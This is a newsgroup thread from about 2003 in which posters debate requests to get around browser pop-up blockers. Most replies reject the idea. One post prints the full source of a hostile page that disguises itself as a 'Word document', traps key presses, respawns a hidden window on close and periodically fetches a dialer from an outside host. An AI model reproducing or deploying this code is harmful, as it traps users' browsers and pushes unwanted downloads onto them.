e.g It will bring up a window that will LOOK like a Pop-up
FEEL like a Pop-up
Allow a name and e-mail entry
BUT is not affected by Popup Stopper, PopUp Killer etc

Bill


Why would you want to be such a dick Bill?

If someone went through the trouble of installing a pop-up blocker why
would you want to get around it?

I work for a telemarketing company that complies 100% with all the FCC and
FTC do not call rules... but I'd be happy to put your phone number in a
war dialer that will call you every fifteen seconds for the rest of your
life.
--
i.m.
The USA Patriot Act is the most unpatriotic act in American history.

Jul 20 '05 #23

P: n/a
Lee
Bill said:

Evertjan,
Thank you kindly.
I will agree that forcing is not nice.

Unfortunately, some toolbars stop pop-ups by default.
I'm looking for a way that gives people a CHOICE if they want a freebie or
not.


Sort of like calling them on the phone to see if they really wanted
to be put on the Do Not Call list, or if it was just a mistake?

Jul 20 '05 #24

P: n/a
DU
Bill wrote:
Evertjan,
Thank you kindly.
I will agree that forcing is not nice.

But that is the nature of unrequested popups which are the cause of
popup blocker softwares in the first place.
Unfortunately, some toolbars stop pop-ups by default.
Not true; that's not their default action in a wide majority of cases.
You're the one who need to be educated, not your visitors.
I'm looking for a way that gives people a CHOICE if they want a freebie or
not.

Then let them be free to accept or refuse unrequested popups.
Your sought solution will defeat the purpose of your whole website.

I'm not a java programmer - in fact I barely know HTML.
Then you should first try to make your website accessible, usable,
validated (markup code and CSS), tableless design, etc...
I'm wondering if playing with menu script is viable.

Thank you for your help.

Bill


You don't understand how popup blockers work and you do not understand
that multi-posting in various newsgroups and top-posting is very
annoying. So far, you got over 50 replies in 2 newsgroups and you've
fragmented the whole discussion around your issue.

For the record, as soon as anyone can find a way to bypass popup
blocking, then the whole web will be caught again into the same
madness as before.

DU

Jul 20 '05 #25

P: n/a
On Wed, 12 Nov 2003 17:22:09 +0000, DU wrote:
For the record, as soon as anyone can find a way to bypass popup
blocking, then the whole web will be caught again into the same madness
as before.


Why don't we just make it so the web pushes whatever we think the user
should see into their browser... oh wait... I just re-invented television.

--
i.m.
The USA Patriot Act is the most unpatriotic act in American history.

Jul 20 '05 #26

P: n/a
Ok, I'm against forced popups just as much as the next guy (especially when
they think that i need to support Columbia DVDs), but I know of one pratical
use for them.

I want a page (my intro page) to come up in a popup because it's sizeable.
I can guarantee that it will be 600x400, have no scrollbars, and is NOT
resizeable. If there is a way to do this without using a popup, I'm
listening. But as it stands, I'm just a basic web designer, just starting
to learn javascript, and I only know how to make a popup window so far.

Shaun McKinnon
crap(removethisbeforesending)@all4mckinnons.com

"Bill" <bi*********@yahoo.com.au> wrote in message
news:bo**********@news4.jaring.my...
Hello Programmers,
I am looking for either Java Script (OR HTML etc)
to DEFEAT Pop-up Stoppers

e.g It will bring up a window that will
LOOK like a Pop-up
FEEL like a Pop-up
Allow a name and e-mail entry
BUT is not affected by Popup Stopper, PopUp Killer etc

Bill

Jul 20 '05 #27

P: n/a
"Shaun McKinnon" <di****************@hotmail.com> writes:
Ok, I'm against forced popups just as much as the next guy (especially when
they think that i need to support Columbia DVDs), but I know of one pratical
use for them.
Practical for who? The page author or the user?
I want a page (my intro page) to come up in a popup because it's sizeable.
I can guarantee that it will be 600x400, have no scrollbars, and is NOT
resizeable.
I will block that. wNot a big loss.

You make a window at a size you decide, and then try to prevent me
from changing it to a size I prefer. Why?
If there is a way to do this without using a popup, I'm listening.
But as it stands, I'm just a basic web designer, just starting to
learn javascript, and I only know how to make a popup window so far.


You don't need to make the window un-resizable. If I want to change
the size, let me. If it breaks your design badly, your design needs
work. If it only makes it less than optimal, I will know that I have
myself to blame for changing the size of the window. But *you* should
not decide whether I can resize my windows or not. It is *my* browser,
not yours, and your page will have to display itself in the space I
have assigned to it (and that is why I use a browser that doesn't
honor "resizable=no").

/L
--
Lasse Reichstein Nielsen - lr*@hotpop.com
DHTML Death Colors: <URL:http://www.infimum.dk/HTML/rasterTriangleDOM.html>
'Faith without judgement merely degrades the spirit divine.'
Jul 20 '05 #28

P: n/a
"Lasse Reichstein Nielsen" <lr*@hotpop.com> wrote in message
news:n0**********@hotpop.com...
<snip>
Do some tests when you try to open a page, and if it appears
to fail, give them the option to go to a page where you explain
how to configure the most popular popup blockers.


Being able to verify the outcome of a call to window.open would seem to
be a viable approach to writing scripts that attempt to use new windows
because it would allow some action to be taken in the face of the
failure of the call to window.open. However, ultimately the only
reliable indicator of the success of the window.open call would be for
the page loading in the pop-up to call back to its opener to
announce/flag its arrival.

The problem with that is that it is a valid indicator of the success of
the window.open call but cannot be used to indicate its failure. To
assume that the call failed it would be necessary to have the opener
start a setTimout/Interval process and check at intervals to see if the
page in the new window had announced its arrival, deciding that the
window.open call had failed if the new window had not shown up within a
pre determined period.

Having to pre determine a period to wait is a major problem as the
period needs to be long enough to account for slow connections to busy
servers on busy days. It appears that, after connecting to a server and
making a request, a browser will timeout in around 4 minutes if it
doesn't get a response, which makes that seem like a reasonable period
to consider. But in user interface terms a 4 minute delay between user
action and a response (fall-back) would be unacceptable. For a
reasonable user interface it would probably be best to be responding to
the possible failure of the call to window.open within a couple of
seconds, maximum. The problem with using too short an interval being
that taking the fall-back action (navigation to the page about how to
configure pop-up blockers, in this case), when the new window actually
has been created and is just taking its time to load, doesn't reflect
well on the site or its programmer.

When I was considering what would be needed to reliably (in the sense of
being in a position to always take some fall-back action in the face of
failure) use window.open in an Internet script, one of the factors that
forced me to conclude that there was no viable strategy was the
realisation that waiting long enough for the page in the new window to
load (or to be certain that it never would) could not be reconciled with
a usable interface.

Richard.
Jul 20 '05 #29

P: n/a
DU
Shaun McKinnon wrote:
Ok, I'm against forced popups just as much as the next guy (especially when
they think that i need to support Columbia DVDs), but I know of one pratical
use for them.

I want a page (my intro page) to come up in a popup because it's sizeable.
I can guarantee that it will be 600x400, have no scrollbars, and is NOT
resizeable.
Let me get this straight. You're loading your intro page in a popup just
to make it non-resizable and without scrollbars? Why would you want to
make your own website less usable and less accessible to content? Why
would you want to remove accessibility features if the content is not
reachable? It is in the best interests of a web designer to make his
website the most accessible and most usable as it can be. No?

If there is a way to do this without using a popup, I'm listening. But as it stands, I'm just a basic web designer, just starting
to learn javascript, and I only know how to make a popup window so far.

Shaun McKinnon
crap(removethisbeforesending)@all4mckinnons.com


All browser manufacturers are going toward the opposite direction than
yours. They all have granted (or are going to) more powers, that is
absolute veto powers, to users to counter unrequested popups, secondary
windows without normal standard browser functionalities (resizability,
scrollbars if content overflows requested dimensions, statusbar presence).

Btw, Shaun, you are top-posting.

DU

Jul 20 '05 #30

P: n/a

"Markus Ernst" <derernst@NO#SP#AMgmx.ch> wrote in message
news:3fb23afa$0$25075>
You publish your e-mail address at the newsgroups.

I had a yahoo mail account I only used for one special purpose and never
received a spam mail on. That changed the day I chose to use this address
for my newsgroup postings. Not many weeks later I was flooded with Microsoft updates, Viagra offers and all that stuff. Yahoo has a great spam filter
which puts most of that crap into a bulk mail folder, but as they are not
deleted automatically before 30 days I had to give up that account, it was
almost permanently overloaded.

Spammers, and it seems even some viruses, seem to harvest addresses in
newsgroups very efficiently. So you can just disguise your address by adding some NOSPAM or what ever characters. People who want to send you answers to your postings will realize that when they get the error message from the
mail system and resend the message to you.


Thanks Markus,
I had to register a valid e-mail address with jaring before I could post.
I just found out that jaring has a bad reputation from former years.
It is now ferocious on spam!
Obviously I was not going to use my jaring address!
So I used a dis-used address that is exclusively for spam!

If anyone want to reply privately, they have to ask me to e-mail them and I
will.

Bill
Jul 20 '05 #31

P: n/a

"DU" <dr*******@hotWIPETHISmail.com> wrote in message
news:bo**********@news.eusc.inter.net...

You don't understand how popup blockers work and you do not understand
that multi-posting in various newsgroups and top-posting is very
annoying. So far, you got over 50 replies in 2 newsgroups and you've
fragmented the whole discussion around your issue.

For the record, as soon as anyone can find a way to bypass popup
blocking, then the whole web will be caught again into the same
madness as before.


DU,
These threads in a few ngs have been very valuable to me - I am coming out
of it CHANGED!
i.e - I do learn! Thank you for input. If I post again I will try ONE ng.
Remember when I started I did not even know the difference between java
language, java applets & javascript. I've come a long way! :-)
I realise now that I should have started with this one only.

Bill
Jul 20 '05 #32

P: n/a
"Fabian" <la****@hotmail.com> wrote in message
news:bo*************@ID-174912.news.uni-berlin.de...
Warren Sarle hu kiteb:
What if the pop-up has an onunload function that pops up two more
copies of the same window? Does your reflex action include the
escape key?


My reflex is fast enough that sooner or later I will alt-f4 before the
on unload code has a chance to load.


Then I expect you will make the team when pop-up closing becomes an
Olympic event.

Or what if you get a hidden spawner window that fires off a new
pop-up every 2 seconds? (I tried writing an antispawner javascript
but it doesn't work very reliably.)


Have come across one of those that cant be hit by alt-f4. Can you show
me an example?


After much strenuous porn-surfing, I have found one that opens an
alert box whenever the alt key is depressed. Alt-f4 just closes the
alert box. The window is hidden, and maximize is disabled. I haven't
figured out yet how to view the source or find out what URL it came
from, but every 5 minutes or so it tries to download a dialer from
http://download.online-dialer.com/connect.php
Jul 20 '05 #33

P: n/a
"Warren Sarle" <sa****@unx.sas.com> wrote in message
news:4a****************@twister.southeast.rr.com.. .
"Fabian" <la****@hotmail.com> wrote in message
news:bo*************@ID-174912.news.uni-berlin.de...
Or what if you get a hidden spawner window that fires off a new
pop-up every 2 seconds? (I tried writing an antispawner javascript
but it doesn't work very reliably.)


Have come across one of those that cant be hit by alt-f4. Can you show
me an example?


After much strenuous porn-surfing, I have found one that opens an
alert box whenever the alt key is depressed. Alt-f4 just closes the
alert box. The window is hidden, and maximize is disabled. I haven't
figured out yet how to view the source or find out what URL it came
from, but every 5 minutes or so it tries to download a dialer from
http://download.online-dialer.com/connect.php


If you can close this in IE without resorting to Task Manager,
I'd sure like to know how. Here's the source code:

<HEAD>
<TITLE>Word document</TITLE>
<SCRIPT language=javascript>
function keypressed() {
alert('Internet explorer: ??+?¶');
}
document.onkeydown=keypressed;
</SCRIPT>
</HEAD>
<BODY id=bodytag onunload="xitwin=window.open('','',

'x=5000,top=5000,y=5000,left=5000,height=10,width= 10,directories=no,toolbar=
no,addressbar=no,resizable=no,menubar=no,scrollbar s=no'
);
xitwin.blur();
xitwin.document.open();
xitwin.document.write(bodytag.parentElement.innerH TML);
xitwin.document.close();">
<IFRAME name=ifr marginHeight=0 src="" frameBorder=0 width=0 scrolling=no
height=0>
</IFRAME>
<SCRIPT>
var titles = new Array("Word document", "Pictures slot", "censored" );
rnd = Math.round(Math.random() * titles.length);
document.title = titles[rnd];
function loadRandom() {
document.ifr.location.href =

"http://gsposters.com/out.php?url=http://63.219.181.7/connect.php?did=od-stn
d218";
setTimeout("loadRandom()", 300000);
}
setTimeout("loadRandom()", 30000);
</SCRIPT>
</BODY>
Jul 20 '05 #34

P: n/a
"Shaun McKinnon" <di****************@hotmail.com> schrieb im Newsbeitrag
news:NZ*****************@news04.bloor.is.net.cable .rogers.com...
Ok, I'm against forced popups just as much as the next guy (especially when they think that i need to support Columbia DVDs), but I know of one pratical use for them.


Of course popups are of practical use, it's just that the abuse potential is
very high, too. When I want to use them I write the link like that:

<a href="popuppage.html" onClick="mypopupfunction('popuppage.html'); return
false">Click here</a>

Return false disables the href attribute if the onClick event is triggered.
If Javascript is disabled the popup function will not work, and return false
won't either, so the popuppage is loaded in the main window, and the
information is not lost.

This is also helping search engines that do not parse Javascript. But I have
no idea how popup blockers work. If they return false even if the onClick
action is not performed you would have to integrate the return false command
at the end of the popup function, which might be a good idea anyway. (Huh, I
learn while writing...)

HTH
Markus
Jul 20 '05 #35

P: n/a
Evertjan. wrote:
If you want to get information to people having popup killers,
or not client-side JavaScript at all
do not use popups. Ever heared of target="_blank" ?


target="_blank" is another Bad Thing that breaks the Back button.
Do not use it.
PointedEars
Jul 20 '05 #36

P: n/a
Bill wrote:
Fabian,
A single example? No, but as I understand it with my limited knowledge,
there are toolbars etc that stop popups by default. That is, people miss
out on freebies and have no idea that they have missed out.

I'll agree that FORCING popups is in bad spirit (and also bad marketing.)
I'm looking for a way that gives people the CHOICE without having to go
through the process of unblocking a pop-up stopper.
Most, if not all, "popup stoppers" do not stop windows opened by some sort of
explicit user action... if coded correctly.
The usual offer is genuine freebie in exchange for e-mail address and other
offers. Ethically, I would ALWAYS say that it is in exchange for receiving
other offers too - it also must include an unsubscibe address.

I'm wondering if something can be done with a js menu.
Then they have the CHOICE of reading about the freebie or not.


"Would you like a free gift? Click <a href="getGift.html"
onclick="openGetGift();return false;">here</a>. If clicking the link doesn't
take you to a form where you can provide your E-mail address, you may be using
a popup blocker which blocks all newly opened windows, you can read more about
that <a href="readAboutPopupBlockers.html">here</a>."

Google's toolbar, nor Firebird or Mozilla block a new window opened in
openGetGift(), because clicking the link is an explicit user action. If a popup
blocker does stop a new window from being opened by an explicit user action,
then you've provided help to the user, and they can decide for themselves
whether they want to disable their popup blocking software on your site.

--
| Grant Wagner <gw*****@agricoreunited.com>

* Client-side Javascript and Netscape 4 DOM Reference available at:
*
http://devedge.netscape.com/library/...ce/frames.html

* Internet Explorer DOM Reference available at:
*
http://msdn.microsoft.com/workshop/a...ence_entry.asp

* Netscape 6/7 DOM Reference available at:
* http://www.mozilla.org/docs/dom/domref/
* Tips for upgrading JavaScript for Netscape 7 / Mozilla
* http://www.mozilla.org/docs/web-deve...upgrade_2.html
Jul 20 '05 #37

P: n/a
Bill <bi*********@yahoo.com.au> wrote or quoted:
I actually don't like FORCED popups myself.
That is why I'm looking to give people a choice.
"people" may inlude those that have (say) Google toolbar but don't have the
computer literacy to allow popups if there's something in it for them.


They can download and install the toolbar - but can't manange to control
its options?

It sounds to me like they've already made their choice.
--
__________
|im |yler http://timtyler.org/ ti*@tt1lock.org Remove lock to reply.
Jul 20 '05 #38

P: n/a
First, I would like to say that I can't believe how close-minded some
of these posting are. With that said, I have a similar delema, that
if anybody has a better solution for with the same result, I would be
more than happy to implement.
I am a software developer and am writing a page that allows users
without my app to view the content created by users of my app through
a web page. I do not want to restrict users from resizing the popup
or anything like that, however I do not want the standard toolbars
present. Please take a look at some examples
(http://www.amplifytheweb.com/examples.html) and maybe you will
understand why. The problem of course is related to popup blockers
blocking my window from being loaded. Our window is not an
advertisement as you will see by the examples, but does need to be
loaded in a popup window. I know there is a way around some popup
blockers by simulating a user click versus loading it in the onload
event, but even this method is very sparatic. If it was actually true
that all people with popup blockers wanted to block popups (hence the
close-minded comment), I wouldn't even be posting here. However, we
have had a lot of complaints about our page "not working" when in fact
it's a popup blocker blocking us. Most of these people don't even
know what a popup blocker is, let alone the fact that they have one
installed! I have had these people call me and when I say that they
must have a popup blocker installed, they think i'm making an excuse
for our stuff not working, but it always turns out that they do have
one installed. Anyway, to make a blanket statement that saying users
with popup blockers want to do just that, block popups, is very
close-minded, and is giving the majority of the web users to much
credit. Always remember that when we are creating web sites, that we
are not creating them for ourselves, but the majority of the web
users. If you do not aggree, please don't respond as you obviously
don't care what your users think.
Anyway, enough babbling. I am looking for possible solutions to my
problem, and any comments/suggestions that will possibly help me, are
greatly appreciated!

Thanks,
Blocked & Frustrated
Jul 20 '05 #39

P: n/a
On Thu, 11 Dec 2003 11:12:35 -0800, dj****@REMOVE.THIS.msn.com wrote:
If you do not aggree, please don't respond as you obviously don't care
what your users think. Anyway, enough babbling. I am looking for
possible solutions to my problem, and any comments/suggestions that will
possibly help me, are greatly appreciated!


Speaking of closed minded. I like your "If you don't agree with me you're
wrong" attitude. (typical developer)

One simple solution: Don't do it in a popup.

I've been developing apps for, guess who, users, for nearly 20 years.

Nothing pisses me off more than a web site that:

Has pop ups.
Resizes my browser.

You are the developer writing the software for the user (as you stated).
You should write your software to conform to the users needs (as you
stated).

You should therefore not expect the user to change the way they operate to
use your software. You, most certainly, should not attempt to circumvent
any security measure they have put in place.

You might as well ask "How do I circumvent my customer's firewall so my
software will work?"

--
i.m.
The USA Patriot Act is the most unpatriotic act in American history.

Jul 20 '05 #40

P: n/a
dj****@REMOVE.THIS.msn.com wrote:
^^^^^^^^^^^^^^^^^^^^^^^^^^
[something]


Someone like you can really be taken seriously. NOT.
PointedEars
Jul 20 '05 #41

P: n/a
dj****@REMOVE.THIS.msn.com hu kiteb:
Please take a look at some examples
(http://www.amplifytheweb.com/examples.html) and maybe you will
understand why. The problem of course is related to popup blockers
blocking my window from being loaded. Our window is not an
advertisement ...


I had a look at your page. I clicked on the online games link. A popup
appeared. I closed it as soon as I saw that it containd a huge advert
for a batman DVD. I checked teh other links, and a pattern emerged. All
contained links to online shopping sites in the titlebar.

Sorry, but you really should know better than to tell blatant lies like
that.

--
--
Fabian
Visit my website often and for long periods!
http://www.lajzar.co.uk
Jul 20 '05 #42

P: n/a
On Fri, 12 Dec 2003 06:21:58 +0900, Fabian wrote:
dj****@REMOVE.THIS.msn.com hu kiteb:
Please take a look at some examples
(http://www.amplifytheweb.com/examples.html) and maybe you will
understand why. The problem of course is related to popup blockers
blocking my window from being loaded. Our window is not an
advertisement ...


I had a look at your page. I clicked on the online games link. A popup
appeared. I closed it as soon as I saw that it containd a huge advert for
a batman DVD. I checked teh other links, and a pattern emerged. All
contained links to online shopping sites in the titlebar.

Sorry, but you really should know better than to tell blatant lies like
that.


Hey! Didn't you read his post? That's what the user wants (according to
his vast expertise).

(blatant sarcasm included for your amusment)

--
i.m.
The USA Patriot Act is the most unpatriotic act in American history.

Jul 20 '05 #43

P: n/a
@SM
"dj****@REMOVE.THIS.msn.com" a ecrit :
Our window is not an advertisement , but does need to be
loaded in a popup window.
Without talking about the 20 or 30 per cent which have disabled JS ...
However, we
have had a lot of complaints about our page "not working" when in fact
it's a popup blocker blocking us.
1) Realize your page working without JS
that's to say : every pages folow themselves in same window
2) add some JS to get some dynamism if you want
JS must not be used as a router, a bypass would allways be present.
(if you want to be compatible with most of persons).
3) for popups add a test function about their state (opened or not ?)
if popup not opened, opening the page in main window is the alone soluce
I hope that those who unaccept popups would accept to activate
their back-button (and that they know it exists! )
4) Add a note about clever popups killers (kill only auto popups).
Always remember that when we are creating web sites, that we
are not creating them for ourselves, but the majority of the web
users.
That's to say : maxi 60 to 70 % of users
Thanks,
Blocked & Frustrated


The frustration only ocures by (bad ?) uses of users
--
******************
Stéphane MORIAUX
Jul 20 '05 #44

P: n/a
@SM
Ivan Marsh a ecrit :
Nothing pisses me off more than a web site that:

Has pop ups.
Resizes my browser.
??? Why not popups ?
To give a message as help, or specific advice, it is acceptable
and quit interresting (after a volontary click).
Perso, I use that oportunity to realize a menu.

To resize the main window of favorite browser is not acceptable
Indid.
You should write your software to conform to the users needs (as you
stated).
And you do as every body ==> standart presentation without soul ... !
You might as well ask "How do I circumvent my customer's firewall so my
software will work?"
Allways ofer a backdoor, of course.
Anyway the html page would have to be abble to run without JS.


--
i.m.
The USA Patriot Act is the most unpatriotic act in American history.


--
******************
Stéphane MORIAUX

Jul 20 '05 #45

P: n/a
> Speaking of closed minded. I like your "If you don't agree with me you're
wrong" attitude. (typical developer)
If you would have read my message, you would have noticed that the
"don't agree" comment was referring to the fact that we are developing
for the majority of users, and not for ourselves! So, are you saying
that you don't care what your users think?????

One simple solution: Don't do it in a popup.
That sounds more like a statement than a solution...

I've been developing apps for, guess who, users, for nearly 20 years. So this makes you a non-typical developer?

Nothing pisses me off more than a web site that:

Has pop ups.
Resizes my browser.
Currently I don't resize the browser, but would have to if I didn't
use a popup. The whole point is to make what you see in the browser
just like what the user with the actual software created.

You are the developer writing the software for the user (as you stated).
You should write your software to conform to the users needs (as you
stated).

You should therefore not expect the user to change the way they operate to
use your software. You, most certainly, should not attempt to circumvent
any security measure they have put in place.


I'm not trying to change the way user's operate. If you read our
website, you will see that these popup's are not a typical popup, as
they are only used when you do not have the actual software. It's
kind of like a Viewer such as the Powerpoint or Word viewer, except
you don't have to download anything.
Jul 20 '05 #46

P: n/a
dj****@msn.com (dj****@REMOVE.THIS.msn.com) writes:
Currently I don't resize the browser, but would have to if I didn't
use a popup. The whole point is to make what you see in the browser
just like what the user with the actual software created.


That's not how the web works. WYSIWYG doesn't work with browsers.
Howeer, if you really *need* to show a page in a fixed size area, you
can use an iframe with a fixed size. It has the usual problems of
frames, but those are small compared to the problems of popups.

If the iframe is larger than the browser, the user can resize the
browser or scroll the viewport. You don't need to do it for him.

/L
--
Lasse Reichstein Nielsen - lr*@hotpop.com
DHTML Death Colors: <URL:http://www.infimum.dk/HTML/rasterTriangleDOM.html>
'Faith without judgement merely degrades the spirit divine.'
Jul 20 '05 #47

P: n/a
> > Please take a look at some examples
(http://www.amplifytheweb.com/examples.html) and maybe you will
understand why. The problem of course is related to popup blockers
blocking my window from being loaded. Our window is not an
advertisement ...


I had a look at your page. I clicked on the online games link. A popup
appeared. I closed it as soon as I saw that it containd a huge advert
for a batman DVD. I checked teh other links, and a pattern emerged. All
contained links to online shopping sites in the titlebar.

Sorry, but you really should know better than to tell blatant lies like
that.

--


I was not lying by saying our popup is not an advertisement, it's not!
It has sponsored links in the title bar, which yes, are
advertisements, but the popup itself is not even close to an
advertisement. The advert you speak of is not part of our popup, but
is an example of what you can do with our software. The batman dvd
advert is part of a free game, that is not hosted by or even part of
us, which you would have realized if you really wanted to help instead
of just bash people.
Jul 20 '05 #48

P: n/a
On Fri, 12 Dec 2003 13:01:41 -0800, dj****@REMOVE.THIS.msn.com wrote:
Speaking of closed minded. I like your "If you don't agree with me
you're wrong" attitude. (typical developer)


If you would have read my message, you would have noticed that the "don't
agree" comment was referring to the fact that we are developing for the
majority of users, and not for ourselves! So, are you saying that you
don't care what your users think?????


I did read your message and you obviously aren't writing for the majority
of users... the majority of users hate pop-ups. That's why pop-up blockers
were written. That's why the ability to stop pop-ups is now being written
into the majority of browsers.

--
i.m.
The USA Patriot Act is the most unpatriotic act in American history.

Jul 20 '05 #49

P: n/a
> Hey! Didn't you read his post? That's what the user wants (according to
his vast expertise).

(blatant sarcasm included for your amusment)


The only person claiming to have vast expertise, is you. Are you
saying that when you click a link you don't want anything to happen
mr. expert?
By the way, I am happy with the solution that I came up with, no
thanks to you, so thanks for the amusing comments that tell me what
kind of person you really are!
Jul 20 '05 #50

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